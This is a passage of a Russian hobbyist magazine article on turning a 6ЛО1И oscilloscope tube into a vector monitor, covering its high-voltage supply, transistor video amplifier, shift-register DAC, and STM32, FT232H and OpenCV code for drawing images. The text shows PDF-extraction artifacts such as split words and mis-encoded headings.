в сум ме дает нам 1000 В — впол не дос таточ ное нап ряжение для работы
труб ки.

ум ножитель

Об рати вни мание на резис торы, шун тиру ющие кон денса торы вып рямите- 
ля и умно жите ля: они могут сущес твен но прод лить твою жизнь, пос коль ку кон- 
денса торы — шту ка ковар ная (см. пре дуп режде ние). Вооб ще говоря, нес- 
мотря на пас пор тное анод ное нап ряжение 1200 В, 6ЛО1И работа ет
и от 1000 В, и даже от 500 В. При этом повыша ется чувс тви тель ность откло- 
няющей сис темы и сни жает ся яркость све чения.

При 1000 В яркость впол не при лич ная. Обвязка самой 6ЛО1И впол не
стан дар тная, как и в упо мяну том выше про екте. Сто ит так же обра тить вни- 
мание, что к обще му про воду под клю чен не выход вып рямите ля, а сред няя
точ ка делите ля на резис торах R5/R6. Это нуж но, что бы при под нять нап- 
ряжение на откло няющих элек тро дах при исполь зовании окон чатель ного
вари анта виде оуси лите ля.

Де ло в том, что нап ряжение на вто ром ано де (астигма тизм) дол жно быть
чуть ниже, чем на откло няющих элек тро дах. Если нап ряжение на них низ- 
ковато, то и на вто ром ано де его при дет ся занижать, в резуль тате пада ет
яркость, исполь зование же делите ля поз воля ет обой ти эту проб лему. Да,
нас трой ки яркости, фокуса и астигма тиз ма вли яют друг на дру га. Если вклю- 
чить устрой ство на этом эта пе, пос ле прог рева на экра не появит ся точ ка,
которую мож но сфо куси ровать. Сиг нал пода ется на откло няющие плас тины,
выводы 10, 11 опре деля ют откло нение по оси Y, выводы 7, 8 — откло нение
по оси X. Теперь перей дем к виде оуси лите лю.

6ЛО1И с бло ком питания и обвязкой

ÂÈÄÅÎÓÑÈËÈÒÅËÜ

Од но из луч ших решений для пос тро ения виде оуси лите ля — 
. При про чих рав ных такой кас кад поз воля ет получить в два

раза боль ший раз мах выход ного сиг нала, а учи тывая, что откло няющие плас- 
тины сим метрич ны, диф ферен циаль ный кас кад нап рашива ется сам собой.
В боль шинс тве опи сан ных в интерне те конс трук ций, выводя щих изоб ражение
на осциллог рафичес кую труб ку, исполь зует ся прос тей ший диф ферен циаль- 
ный кас кад на маломощ ных высоко воль тных тран зисто рах, нап ример
как . С него я и начал.

диф ферен- 
циаль ный кас кад

здесь

Ис ходный вари ант виде оуси лите ля

Од нако это решение неудоб но, так как тре бует допол нитель ного сме щения
на базу пер вого тран зисто ра, в про тив ном слу чае кас кад работа ет в нелиней- 
ном режиме, что совер шенно неп рием лемо. Хотя если хочет ся пос мотреть

, а в качес тве источни ка сиг нала исполь зовать завод ской
ГСС, где мож но задать сме щение в пару вольт отно ситель но зем ли, то такое
решение впол не рабочее. Изба вить ся от необ ходимос ти внеш него сме щения
мож но, исполь зуя дву поляр ное питание, что я и сде лал.

фи гуры Лис сажу

Прос тей ший вари ант виде оуси лите ля

Уси литель Y-канала иден тичен. Как видишь, здесь появил ся еще один
источник питания — 5 В, это усложня ет блок питания, но реша ет проб лему
сме щения, поэто му на вход мож но подавать сиг нал непос редс твен но с ЦАПа.
Этот вари ант уси лите ля чрез вычай но прост и под ходит для экспе римен тов
с труб кой, одна ко име ет сущес твен ные огра ниче ния. И это в пер вую оче редь
быс тро дей ствие. Так, полоса про пус кания дан ного уси лите ля будет око- 
ло 10 кГц, и выше этой час тоты уси ление дос таточ но быс тро сни жает ся.

И что с того, спро сишь ты? А из это го сле дует, что количес тво сем плов
ЦАПа будет огра ниче но полосой про пус кания, что, в свою оче редь, будет
огра ничи вать раз мер изоб ражения (количес тво точек), которое мож но отри- 
совать без мер цания. В дан ном слу чае количес тво точек будет поряд ка 500.
А если под нять час тоту ЦАП, то изоб ражение будет иска жать ся.

С дру гой сто роны, нес коль ко сотен точек впол не дос таточ но для отри сов- 
ки цифер бла та и стре лок, нес ложной геомет ричес кой кар тинки или тех же
фигур Лис сажу. Собс твен но, в боль шинс тве конс трук ций подоб ное изоб- 
ражение и выводят. А что делать, если мы хотим боль шего, нап ример вывес ти
на экран дос таточ но слож ную кар тинку в пару десят ков тысяч точек? Для это- 
го при дет ся под нимать быс тро дей ствие, и самый прос той спо соб это сде- 
лать — под нять токи выход ного кас када.

Кро ме того, сто ит иметь в виду, что кол лектор ные резис торы вмес те
с емкостью откло няющей сис темы и выход ной емкостью тран зисто ра обра- 
зуют , час тоту сре за которо го мож но при мер но при кинуть, взяв
емкость, ска жем, 15 пФ. На прак тике получа ется замет но хуже, чем в теории,
ну да это как всег да. Для резис торов 220К получа ется зна чение 48,25 кГц,
а для резис торов 3К уже 3,54 МГц — то, что надо.

RC ФНЧ

Нес коль ко усложним схе му, исполь зовав 
. Такое вклю чение поз воля ет сде лать схе му менее кри тич ной к парамет- 

рам высоко воль тных тран зисто ров. В целом кас код работа ет как иде али зиро- 
ван ный кас кад с общим эмит тером. Нас, конеч но, это не спа сет, пос коль ку
мы все рав но упремся в парамет ры труб ки, зато поз волит исполь зовать
дешевые высоко воль тные тран зисто ры в вер хнем пле че, нап ример
MJE13003, MJE13005. Одна ко луч ше все-таки 2SC2611 или КТ940А.

кас кодное вклю чение тран зисто- 
ров

Кро ме того, добавим источник тока в эмит терные цепи — так и работа ет
луч ше, и нас тра ивать гораз до удоб нее. А сверх того на вход пос тавим исто- 
ковые пов торите ли, что бы не шун тировать ЦАП. В пер вом вари анте схе мы их
не было, одна ко ока залось, что уси литель замет но шун тировал ЦАП и силь но
про сажи вал нап ряжение, потому пов торите ли приш лось добавить.

Схе ма виде оуси лите ля

Дан ный уси литель обес печива ет полосу око ло 1,5 МГц при раз махе сиг нала
на выходе каж дого пле ча 75 В и уси лении око ло 15. При этом замена тран- 
зисто ров на MJE13005 дает при мер но такой же резуль тат, и улуч шить его
малыми уси лиями уже не получит ся. Нас трой ка уси лите ля сво дит ся к подс- 
трой ке источни ков тока резис торами RV2 и RV5: нуж но добить ся на кол лекто- 
рах тран зисто ров Q2, Q5, Q7, Q10 нап ряжения чуть выше полови ны питания
(око ло 120 В), а так же к под бору кон денса торов час тотной кор рекции С3, С6,
С9, С12.

Сто ит заметить, что раз мы собира ем не осциллог раф, а монитор, то
добивать ся ров ной АЧХ уси лите ля — не опти маль ное решение. Поэто му под- 
бор кон денса торов удоб но вес ти, смот ря на качес тво изоб ражения, добива- 
ясь минималь ных арте фак тов. Методи ка под бора кон денса торов доволь но
прос тая — начав с заведо мо мень шей емкости, нап ример 1 нФ, необ ходимо
пос ледова тель но уве личи вать емкость в два раза, наб людая изме нения изоб- 
ражения. Ког да емкость ока жет ся чрез мерной, начинай ее умень шать
на полови ну пре дыду щего шага, таким обра зом шагов за пять мож но подоб- 
рать нуж ное зна чение. Обра ти вни мание, что эмит терные резис торы
в каналах X и Y раз личны и кон денса торы кор рекции, соот ветс твен но, тоже.
Токи тран зисто ров так же мож но нас тра ивать, ори енти руясь на изоб ражение.

Конс трук ция получи лась дос таточ но слож ной (12 тран зисто ров), а еще она
замет но гре ется, поэто му нужен хороший ради атор. Мой, конеч но, дико
избы точен, но он мне попал ся под руку и под ходил по раз мерам. Резис торы
в кол лектор ной цепи так же силь но гре ются, поэто му надо взять пятиват тные
(не про волоч ные!). Хорошо, уси литель есть, теперь нужен источник сиг нала.

Внеш ний вид виде оуси лите ля

ÖÀÏ

C точ ки зре ния соот ношения цена/быс тро дей ствие луч шее решение — R-2R
ЦАП. Пер воначаль но я пла ниро вал исполь зовать Blue Pill как источник сиг- 
нала, и в этом слу чае мож но задей ство вать целый порт сра зу на 2 ЦАПа
(каналы X и Y). Одна ко, ори енти руясь на , я решил при менить
сдви говые регис тры 74HC59. В пла не быс тро дей ствия мы ничего не теря ем,
так как GPIO в stm32f103 работа ют с час тотой око ло 2 МГц, и то при пря мой
записи в регис тры, через обер тки получа ется нес коль ко мед леннее. А вот
шина SPI недур но работа ет на час тоте 32 МГц, и ито ге для двух 8-бит ных
каналов получа ем 2 мегасем пла в секун ду, при этом ЦАП мож но исполь- 
зовать незави симо с дру гими источни ками сиг нала. А кро ме того, ЦАП
на 74HC595 выда ет сиг нал до 5 В, что, учи тывая низ кую чувс тви тель ность
труб ки, нам толь ко на руку.

дан ный про ект

Схе ма ЦАПа

Сна чала, конеч но, схем ка была поп роще, в ней при сутс тво вали толь ко сдви- 
говые регис тры. Мик рокон трол лер писал в SPI два бай та, а потом дер гал
нож ку RCLK, и все было хорошо, все работа ло. Потом мне захоте лось
выводить мас сивы поболь ше, которые не помеща лись в память кон трол лера,
и тут было два вари анта: при ладить к кон трол леру флеш ку или под клю чить
к ком пу через USB/SPI. Я выб рал вто рой вари ант, а в качес тве USB/SPI
исполь зовал .FT232H

Это самый быс трый USB/SPI из мне извес тных, а кро ме того, его мож но
при обрести в виде готово го модуля за тер пимые день ги (ну, некото рое вре мя
назад так и было). Одна ко у FT232H есть та же проб лема, что и у кон трол лера
SPI: порт работа ет быс тро, а GPIO мед ленно, при чем гораз до мед леннее,
чем в кон трол лере, поэто му дер гать нож ку регис тра на каж дые два бай та
неразум но. Приш лось малой кровью допилить недоSPI 74HC595 до «поч ти
SPI». Идея дос таточ но прос та: надо счи тать так товые импуль сы и каж дый 16-й
дер гать RCLK. Для это го соб ран делитель на 16 на четырех .
А что бы знать, отку да счи тать импуль сы, по сиг налу CS про исхо дит уста нов ка
триг геров, что сра баты вает как син хро низа ция.

D-триг герах

Ко неч но, делитель про ще было соб рать на , но это как-нибудь
в дру гой раз. Так или ина че, мы получи ли ЦАП, спо соб ный выдавать
до 2 мегасем плов в секун ду, при чем его ско ростью мож но управлять, меняя
ско рость шины SPI. О резис торах мож но ска зать, что исполь зовать резис- 
торы одно го номина ла удоб но: получа ешь пра виль ное соот ношение соп- 
ротив лений 1/2. В прин ципе, мож но сэконо мить и исполь зовать резис- 
торы 5К1 и 10К. Нем ного пос тра дает линей ность, что на глаз поч ти незамет- 
но, впро чем, эко номия копе ечная и того не сто ит.

74HC4040

Внеш ний вид соб ранно го DAC

BLUE PILL È ÔÈÃÓÐÛ ËÈÑÑÀÆÓ

Ана лого вая часть соб рана, и ЦАП у нас есть. Вре мя про верить, как оно
работа ет. Самый прос той тес товый сиг нал для соз дания изоб ражения —
это два синуса с раз ными час тотами или фазами. Про ще все го такой сиг нал
взять с ГСС и подать на вхо ды виде оуси лите ля, одна ко если ГСС под рукой
нет, то сиг нал мож но сге нери ровать в мик рокон трол лере бук валь но нес коль- 
кими десят ками строк.

Ге нери ровать синус в мик рокон трол лере мож но тре мя спо соба ми.
Во-пер вых, исполь зуя биб лиоте ку  и фун кцию , одна ко

это далеко не луч ший вари ант по быс тро дей ствию и рас ходова нию ресур сов.
Работа с пла вающей точ кой — это не то, для чего пред назна чены мик рокон- 
трол леры, впро чем, дан ный метод работа ет. Дру гой дос таточ но инте рес ный
вари ант генера ции синуса — на осно ве раз нос тных схем — упо мина ется

. Урав нения там дос таточ но прос тые, и с пер вого взгля да даже не ска- 
жешь, что на выходе получа ется синус.

math.h sin()

здесь

V -= X*R 
X += V 

Продолжение статьи →
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ТЕПЛЫЙ ЛАМПОВЫЙ

ДИСПЛЕЙ
СОБИРАЕМ МОНИТОР ИЗ ЭЛЕКТРОННО-

ЛУЧЕВОЙ ТРУБКИ

GEEK  НАЧАЛО СТАТЬИ←

Здесь  — это кон стан та. На осоз нание вывода этих фор мул меня не хва тило,
впро чем, даже в момент окон чания уни вера гра ница моих матема тичес ких
спо соб ностей лежала где-то в рай оне дивер генции гра диен та, а с тех пор
ста ло толь ко хуже. Но при реали зации в целочис ленной матема тике оно
работа ет, и работа ет неп лохо. Уж точ но нам ного быс трее, чем биб лиотеч ный
синус.

R

Тре тий же метод генера ции синуса — таб личный, и вот он мне боль ше
все го пон равил ся, осо бен но проз рачностью уста нов ки фаз и час тот. Кро ме
того, он демонс три ровал наиболь шее быс тро дей ствие. Суть метода: берем
таб лицу с заранее рас счи тан ными зна чени ями синуса и прос то выводим
записан ные в ней дан ные через рав ные про межут ки вре мени с задан ным
шагом. Меняя шаг, мы меня ем час тоту, а меняя стар товую точ ку, меня ем
фазу. То, что надо!

...
 uint8_t msin[256]={

              127, 130, 133, 136, 139, 142, 145, 148, 151, 154, 157, 160, 163, 166,
              169, 172, 175, 178, 181, 184, 186, 189, 192, 194, 197, 200, 202, 205,
              207, 209, 212, 214, 216, 218, 221, 223, 225, 227, 229, 230, 232, 234,
              235, 237, 239, 240, 241, 243, 244, 245, 246, 247, 248, 249, 250, 250,
              251, 252, 252, 253, 253, 253, 253, 253, 254, 253, 253, 253, 253, 253,
              252, 252, 251, 250, 250, 249, 248, 247, 246, 245, 244, 243, 241, 240,
              239, 237, 235, 234, 232, 230, 229, 227, 225, 223, 221, 218, 216, 214,
              212, 209, 207, 205, 202, 200, 197, 194, 192, 189, 186, 184, 181, 178,
              175, 172, 169, 166, 163, 160, 157, 154, 151, 148, 145, 142, 139, 136,
               133, 130, 127, 123, 120, 117, 114, 111, 108, 105, 102, 99, 96, 93, 90,
                 87, 84, 81, 78, 75, 72, 69, 67, 64, 61, 59, 56, 53, 51, 48, 46, 44,
                 41, 39, 37, 35, 32, 30, 28, 26, 24, 23, 21, 19, 18, 16, 14, 13, 12,
                      10, 9, 8, 7, 6, 5, 4, 3, 3, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                    0, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14, 16, 18, 19, 21,
                 23, 24, 26, 28, 30, 32, 35, 37, 39, 41, 44, 46, 48, 51, 53, 56, 59,
                61, 64, 67, 69, 72, 75, 78, 81, 84, 87, 90, 93, 96, 99, 102, 105,
      108, 111, 114, 117, 120, 123};

  static void spi1_init(void){
 // Включаем порт и интерфейс
 rcc_periph_clock_enable(RCC_SPI1);
 rcc_periph_clock_enable(RCC_GPIOA);
 /* Configure GPIOs:
  * SCK=PA5
  * MOSI=PA7
  */
   gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ,

            GPIO_CNF_OUTPUT_ALTFN_PUSHPULL, GPIO5|GPIO7);

   spi_reset(SPI1);
    spi_init_master(SPI1, SPI_CR1_BAUDRATE_FPCLK_DIV_2,
         SPI_CR1_CPOL_CLK_TO_0_WHEN_IDLE,
         SPI_CR1_CPHA_CLK_TRANSITION_1,

          SPI_CR1_DFF_8BIT, SPI_CR1_LSBFIRST);
 //spi_set_full_duplex_mode(SPI1);
   spi_enable_software_slave_management(SPI1);
 spi_set_nss_high(SPI1);
   spi_enable(SPI1);
 }

 void gpio_init(){
 rcc_periph_clock_enable(RCC_GPIOB);
  gpio_set_mode(GPIOB, GPIO_MODE_OUTPUT_50_MHZ,

                GPIO_CNF_OUTPUT_PUSHPULL, GPIO6|GPIO12);
 /*
  * GPIO4 - ST_CP
  * GPIO12 - LED
  */
 gpio_set(GPIOB,GPIO12);
 gpio_clear(GPIOB,GPIO6);
 }

    void send_xy(uint8_t x, uint8_t y){
 spi_xfer(SPI1,x);
 spi_xfer(SPI1,y);
 // Дергаем RCLK для записи в регистр
 gpio_set(GPIOB,GPIO6);
 gpio_clear(GPIOB,GPIO6);
 }

 void main(void){
 rcc_clock_setup_in_hse_8mhz_out_72mhz();
 spi1_init();
 gpio_init();
  uint32_t n=1;
   uint8_t a=128, b=128;
 while(1){
   n++;
   if(!(n%2))b++;
    for(uint16_t i=0;i<256;i++){
     send_xy(msin[a],msin[b]);
     a+=1;
     b+=3;
     }
   }
 }
...

Вот такой нес ложный код генери рует дос таточ но инте рес ную кар тинку,
которая еще и дви гать ся будет.

Фи гура Лис сажу

На этом мы, пожалуй, оста вим Bluepill и перей дем к x86_64.

USB/SPI È ÔÈÃÓÐÛ ËÈÑÑÀÆÓ

Для работы с FT232H на прос торах  я отыс кал биб лиоте ку , но с
ней все ока залось не то что бы глад ко. Пакет дав но не обновлял ся и наот рез
отка зывал ся собирать ся, хорошо, что в пер вом же ком мента рии были советы,
как это испра вить. Вто рую труд ность я себе соз дал сам. Труд ность эта зак-
лючалась в сов мещении биб лиотек из C и С++, но и это воп рос реша емый.
Зачем так делать, спро сишь ты? На то у меня были при чины. Для работы
с FT232H наш ЦАП уже про качан до поч ти нас тояще го SPI, оста лось поп- 
равить код под пакет ную переда чу. Теперь вмес то генера ции коор динат
на лету мы их запишем в мас сив и уже его скор мим ЦАПу.

AUR libmpsse

#include <stdio.h>
#include <math.h>
#include <string.h>
#include <cstdint>
#define FTDI 1
#ifdef FTDI
#include <stdlib.h>

 extern "C"{
#include <mpsse.h>
}
#define SPEED 1000000
#endif

 uint8_t buffer[10000];
 uint16_t buf_shift=0;

 uint8_t msin[256]={
              

              
              
              
              
              
              
              
              
              
                 
                 
                      
                     
                 
                 
     

127, 130, 133, 136, 139, 142, 145, 148, 151, 154, 157, 160, 163,
166, 169, 172, 175, 178, 181, 184, 186, 189, 192, 194, 197, 200, 202,
205, 207, 209, 212, 214, 216, 218, 221, 223, 225, 227, 229, 230, 232,
234, 235, 237, 239, 240, 241, 243, 244, 245, 246, 247, 248, 249, 250,
250, 251, 252, 252, 253, 253, 253, 253, 253, 254, 253, 253, 253, 253,
253, 252, 252, 251, 250, 250, 249, 248, 247, 246, 245, 244, 243, 241,
240, 239, 237, 235, 234, 232, 230, 229, 227, 225, 223, 221, 218, 216,
214, 212, 209, 207, 205, 202, 200, 197, 194, 192, 189, 186, 184, 181,
178, 175, 172, 169, 166, 163, 160, 157, 154, 151, 148, 145, 142, 139,
136, 133, 130, 127, 123, 120, 117, 114, 111, 108, 105, 102, 99, 96,
93, 90, 87, 84, 81, 78, 75, 72, 69, 67, 64, 61, 59, 56, 53, 51, 48,
46, 44, 41, 39, 37, 35, 32, 30, 28, 26, 24, 23, 21, 19, 18, 16, 14,
13, 12, 10, 9, 8, 7, 6, 5, 4, 3, 3, 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 1, 1, 2, 3, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14, 16, 18, 19,
21, 23, 24, 26, 28, 30, 32, 35, 37, 39, 41, 44, 46, 48, 51, 53, 56,
59, 61, 64, 67, 69, 72, 75, 78, 81, 84, 87, 90, 93, 96, 99, 102, 105,
108, 111, 114, 117, 120, 123};

 uint8_t buffer2[512];

    void singen(uint8_t sa,uint8_t sb,uint8_t fs){
   static uint8_t a=0;
   static uint8_t b=0;
 b+=fs;
  uint16_t n=0;
 while(n<512){
     buffer2[n++]=msin[a];
     buffer2[n++]=msin[b];
     a+=sa;
     b+=sb;
     }
}

    uint16_t send_xy(uint8_t x, uint8_t y){
 buffer[buf_shift++]=x;
 buffer[buf_shift++]=y;
  return buf_shift;
 }

       int main( int argc, const char** argv )
{
#ifdef FTDI
/*****************************************************************
* А теперь выведем с ходу на экран через FT232H
*****************************************************************/
     struct mpsse_context *spi = NULL;
     spi = MPSSE(SPI0, SPEED, LSB);
 while(1){
   singen(4,5,1);
   Start(spi);
      for(uint16_t i=0;i<10;i++)FastWrite(spi, (char*)buffer2, 512);
   Stop(spi);
   }
 Close(spi);
#endif

}

Ком пилиру ем получен ную прог рамму:

g++ -O3  single-sin.c -o single-sin -lmpsse

За пус каем и убеж даем ся, что все работа ет точ но так же, как на кон трол лере.
Пос мотре ли — работа ет, но аппе тит, как извес тно, при ходит во вре мя еды.
Хочет ся вывес ти на экран гра фику и текст, этим и зай мем ся.

ÃÐÀÔÈÊÀ

Прак тичес ки во всех стать ях, где опи сывал ся вывод изоб ражения
на осциллог рафичес кую труб ку, пред лага ют взять  и с
его помощью рисовать на экра не линии, а из них сос тавлять кар тинку. И этот
под ход, конеч но, работа ет, но уж очень это мутор но. На мой вкус, все это не
то, поэто му будем изоб ретать свой велоси пед. Итак, нач нем с прос того:
пусть у нас есть монох ромное изоб ражение раз мером 256 × 256, нап ример
такое.

ал горитм Бре зен хэма

Прос тое монох ромное изоб ражение

Дос танем отту да коор динаты всех чер ных точек. В этом нам поможет замеча- 
тель ная биб лиоте ка . Вооб ще, в ней очень мно го фун кций для работы
с изоб ражени ями, но здесь мы исполь зуем ее лишь как декодер. А пос коль ку
она все ядная, мы авто мати чес ки избавля емся от при вяз ки к опре делен ному
фор мату кар тинки и можем исполь зовать любой на наш вкус, нап ример .

Зна чит, декоди руем изоб ражение, про бега емся по получен ному мас сиву
и находим коор динаты всех чер ных точек.

OpenCV

.png

#include "opencv2/imgproc.hpp"
#include "opencv2/imgcodecs.hpp"
#include "opencv2/highgui.hpp"
#include <stdio.h>
#include <math.h>
#include <string.h>

#define FTDI 1
#ifdef FTDI
#include <stdlib.h>

 extern "C"{
#include <mpsse.h>
}
#define SPEED 10000000
#endif

  using namespace cv;
  using namespace std;

 Mat img;

       int main( int argc, const char** argv )
{
    char filename[256]={0};
   strcpy(filename,argv[1]);
      img = imread(filename, IMREAD_GRAYSCALE);
   // Создаем массив с координатами точек контура
   // Изображение предварительно подготовлено

    printf("//Mat.rows %u\r\n", img.rows);
    printf("//Mat.cols %u\r\n", img.cols);
    uint32_t imgsize=img.rows*img.cols;
     uint8_t *mix_img=(uint8_t*) calloc(imgsize+1,sizeof(uint8_t));
    uint32_t n=0;
     uint8_t *pic=(uint8_t*) calloc(2*imgsize+1,sizeof(uint8_t));
   n=0;
     for( uint64_t i=0;i<imgsize;i++){
   if(img.data[i]<100){
     pic[n++]=i%img.cols;
     pic[n++]=i/img.cols;
     }
   }
 printf("n=%u\r\n",n/2);

#ifdef FTDI
/*****************************************************************
* А теперь выведем с ходу на экран через FT232H
*****************************************************************/
     struct mpsse_context *spi = NULL;
     spi = MPSSE(SPI0, SPEED, LSB);
 // for(uint8_t i=0;i<20;i++)printf("%u\r\n",out_mix[i]);
 while(1){
   Start(spi);
     FastWrite(spi, (char*)pic, 2*n);
   Stop(spi);
   }
 Close(spi);
#endif
 free(pic);
}

Ка залось бы, все готово, изоб ражение на экра не. Но, как в том анек доте, есть
один нюанс — мы видим боль шое количес тво арте фак тов.

Ар тефак ты при выводе изоб ражения

Ар тефак ты появ ляют ся в мес тах, где лучу при ходит ся перес какивать на отно- 
ситель но боль шое рас сто яние. В прос тей шем слу чае с ними мож но бороть- 
ся, сни жая бит рейт. Одна ко это пло хой спо соб: арте фак ты, конеч но, исче- 
зают, но вза мен появ ляет ся мер цание. Для срав нения вот то же изоб ражение
с бит рей том 1 Мбит/с.

Ар тефак ты подав лены сни жени ем бит рей та

Ар тефак тов поч ти нет, но уже хорошо замет но мер цание. Так что же делать?
Поп робу ем опти мизи ровать тра екто рию луча, сде лав его путь по экра ну
минималь ным (по воз можнос ти). Это при водит нас к .за дачe ком миво яже ра

На до ска зать, это сама по себе весь ма неп ростая задача, но нам нет
необ ходимос ти искать опти маль ный путь, так как в нашем слу чае любое
решение луч ше, чем то, что у нас есть. Поэто му мы вос поль зуем ся самым
быс трым методом — . Суть его зак люча ется
в том, что на каж дом шаге луч будет дви гать ся в бли жай шую из оставших ся
точек.

ме тодом бли жай шего соседа

Сна чала я написал скрипт на питоне, и под ход ока зал ся рабочим, одна ко

быс тро ста ло ясно, что слож ность O  — это неп рият но. И если для про рисов- 
ки наших 700 точек это тре бова ло десят ков секунд, то за вре мя
для 10 000 точек уже мож но нес пешно попить чай ку. Поэто му, почесав
в затыл ке, я перепи сал код на С, получив уско рение где-то в 60 раз.
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Ре зуль тат неп лох, сму щало толь ко то, что у меня в ноуте восемь логичес- 
ких ядер, из которых во вре мя рас чета одно пых тело, а семь прох лажда лись.
И тут я вспом нил про , с помощью которо го вычис ления мож но рас- 
парал лелить, прак тичес ки не меняя кода. Прог раммист из меня такой себе,
и все ста дии рас четов рас парал лелить у меня не выш ло, но даже с тем, что
уда лось, получи лось уско рить это дело еще в четыре раза.

Open MPI

В таком исполне нии прог рамму лина обра баты вает 700 точек поч ти мгно- 
вен но, 10 000 — за пару секунд и в целом может перева рить око- 
ло 25 000 точек. Это успех. Так же я добавил две полез ные фиш ки. Отри сов ка
изоб ражения в N заходов (три дают луч ший резуль тат) поз воля ет подавить
мер цание при боль шом количес тве точек и нес коль ко сни жает вли яние
наводок на виде оуси литель. Еще одна фиш ка — сох ранение финаль ного мас- 
сива в файл , что поз воля ет в даль нейшем эко номить вре мя на обра бот ку

изоб ражения.

.h

#include "opencv2/imgproc.hpp"
#include "opencv2/imgcodecs.hpp"
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <omp.h>
#define N 3 // Число заходов в финальном массиве
//#define SAVE 1
#ifndef _OPENMP

 static_assert(false, "openmp support required");
#endif

#define FTDI 1
#ifdef FTDI
#include <stdlib.h>

 extern "C"{
#include <mpsse.h>
}
#define SPEED 10000000
#endif

  using namespace cv;
  using namespace std;

 Mat img;
   uint32_t min(uint32_t *, uint32_t);

    uint32_t min(uint32_t *data, uint32_t datasize){
  uint32_t min_ind=0;
    for(uint32_t i=0;i<datasize;i++) if(data[i]<data[min_ind]) min_ind=
i;
  return min_ind;
};

       int main( int argc, const char** argv )
{
    char filename[256]={0};
   strcpy(filename,argv[1]);
      img = imread(filename, IMREAD_GRAYSCALE);
   // Создаем массив с координатами точек контура
   // Изображение предварительно подготовлено

    printf("//Mat.rows %u\r\n", img.rows);
    printf("//Mat.cols %u\r\n", img.cols);
       uint8_t *vect_x = (uint8_t*) calloc(img.rows*img.cols+1,sizeof(
uint8_t));
       uint8_t *vect_y = (uint8_t*) calloc(img.rows*img.cols+1,sizeof(
uint8_t));
    uint32_t n=0;

     for( uint64_t i=0;i<img.rows*img.cols;i++){
   if(img.data[i]<100){
     vect_y[n]=i/img.cols;
     vect_x[n]=i%img.cols;
     n++;
     }
   }

 printf("//n=%u\r\n",n);

 // Оптимизируем последовательность точек жадным алгоритмом
      uint32_t * M = (uint32_t*) calloc(n*n+1,sizeof(uint32_t));
 #pragma omp parallel shared(M,vect_x,vect_y) num_threads(8)
 {
 # pragma omp for
  for(uint32_t i=0;i<n;i++){
    for(uint32_t j=i;j<n;j++){
 // Настоящее расстояние нам не нужно, поэтому корень можно не 
извлекать
     if(i!=j){
       M[i*n+j]=(uint32_t)(pow((vect_x[i]-vect_x[j]),2)+pow((vect_y[
i]-vect_y[j]),2));
       M[j*n+i]=M[i*n+j];
     }

      else M[i*n+j]=0xffffffff;
   }
 }
 }//# pragma omp for

 //print_matrix(M,n);

     uint32_t *way = (uint32_t*) calloc(img.rows*img.cols+1,sizeof(
uint32_t));
     uint32_t *S = (uint32_t*) calloc(n+1,sizeof(uint32_t));
 way[0]=0;

  for(uint32_t i=1;i<n;i++){
   #pragma omp parallel shared(M) num_threads(8)
     {
     # pragma omp for

       for(uint32_t j=0;j<n;j++) S[j]=M[way[i-1]*n+j];
     }
   way[i]=min(S,n);
   //printf("min: %u \r\n",way[i]);
   #pragma omp parallel shared(M,way) num_threads(8)
     {
     # pragma omp for

      for(uint32_t j=0;j<i;j++){
       M[(way[i]*n)+way[j]]=0xffffffff;
       M[(way[j]*n)+way[i]]=0xffffffff;}
     }
   //printf("i=%u way[i]=%u\r\n",i,way[i]);
   //print_matrix(M,n);
   }

 //print_mas(way,n);

     uint8_t *out = (uint8_t*) calloc(2*n+1,sizeof(uint8_t));
  uint32_t j=0;

  for(uint32_t i=0;i<n;i++){
   out[j++]=vect_x[way[i]];
   out[j++]=vect_y[way[i]];
   };
 /**********************************************************
  * Расставляли, расставляли, а теперь замиксуем в N заходов
  **********************************************************/
     uint8_t *out_mix = (uint8_t*) calloc(2*n+1,sizeof(uint8_t));
 j=0;
  uint32_t k=0;
  for(uint32_t i=0;i<N;i++){
   j=2*i;
   do{
     out_mix[k++]=out[j];
     out_mix[k++]=out[j+1];
     j+=2*N;
     }while(j<2*n);
 }

 // Освобождаем память
 free(M);
 free(vect_x);
 free(vect_y);
 free(way);
 free(S);
 free(out);
#ifdef SAVE
  char arr_name[256]={0};
  char out_file_name[256]={0};

 if(argc>2){
   strcpy(out_file_name,argv[2]);
    strncpy(arr_name, out_file_name,strlen(out_file_name)-2);
   }
  else {
    strncpy(arr_name, filename,strlen(filename)-4);
   strcat(out_file_name,arr_name);
   strcat(out_file_name,".h");
   };

 printf("create file %s\r\n",out_file_name);
  FILE *fout;
 fout=fopen(out_file_name,"w");

 fprintf(fout,
"//************************************************\r\n\
//final result\r\n\
//generated by c prog black\r\n\
//************************************************\r\n");
 fprintf(fout,"static const uint8_t %s[]={\r\n",arr_name);
 fprintf(fout,"%u, ",out_mix[0]);
  for(uint16_t i=1;i<2*n;i++){
   fprintf(fout,"%u, ",out_mix[i]);
   if(!(i%10))fprintf(fout,"\r\n");
   }
 fprintf(fout,"};\r\n");
 fclose(fout);
#endif
#ifdef FTDI
/*****************************************************************
* А теперь выведем с ходу на экран через FT232H
*****************************************************************/
     struct mpsse_context *spi = NULL;
     spi = MPSSE(SPI0, SPEED, LSB);
 //for(uint8_t i=0;i<20;i++)printf("%u\r\n",out_mix[i]);
 //while(1){
   for(uint64_t i=0; i<600;i++){
   Start(spi);
     FastWrite(spi, (char*)out_mix, 2*n);
   Stop(spi);
   }
 Close(spi);
#endif
}

Со бира ем прог рамму.

g++    -O3 -fopenmp `pkg-config opencv4 --cflags --libs` black.c -o 
black -lmpsse

Продолжение статьи →

https://aur.archlinux.org/
https://aur.archlinux.org/packages/libmpsse
https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D1%80%D0%B5%D0%B7%D0%B5%D0%BD%D1%85%D1%8D%D0%BC%D0%B0
https://ru.wikipedia.org/wiki/OpenCV
https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BA%D0%BE%D0%BC%D0%BC%D0%B8%D0%B2%D0%BE%D1%8F%D0%B6%D1%91%D1%80%D0%B0
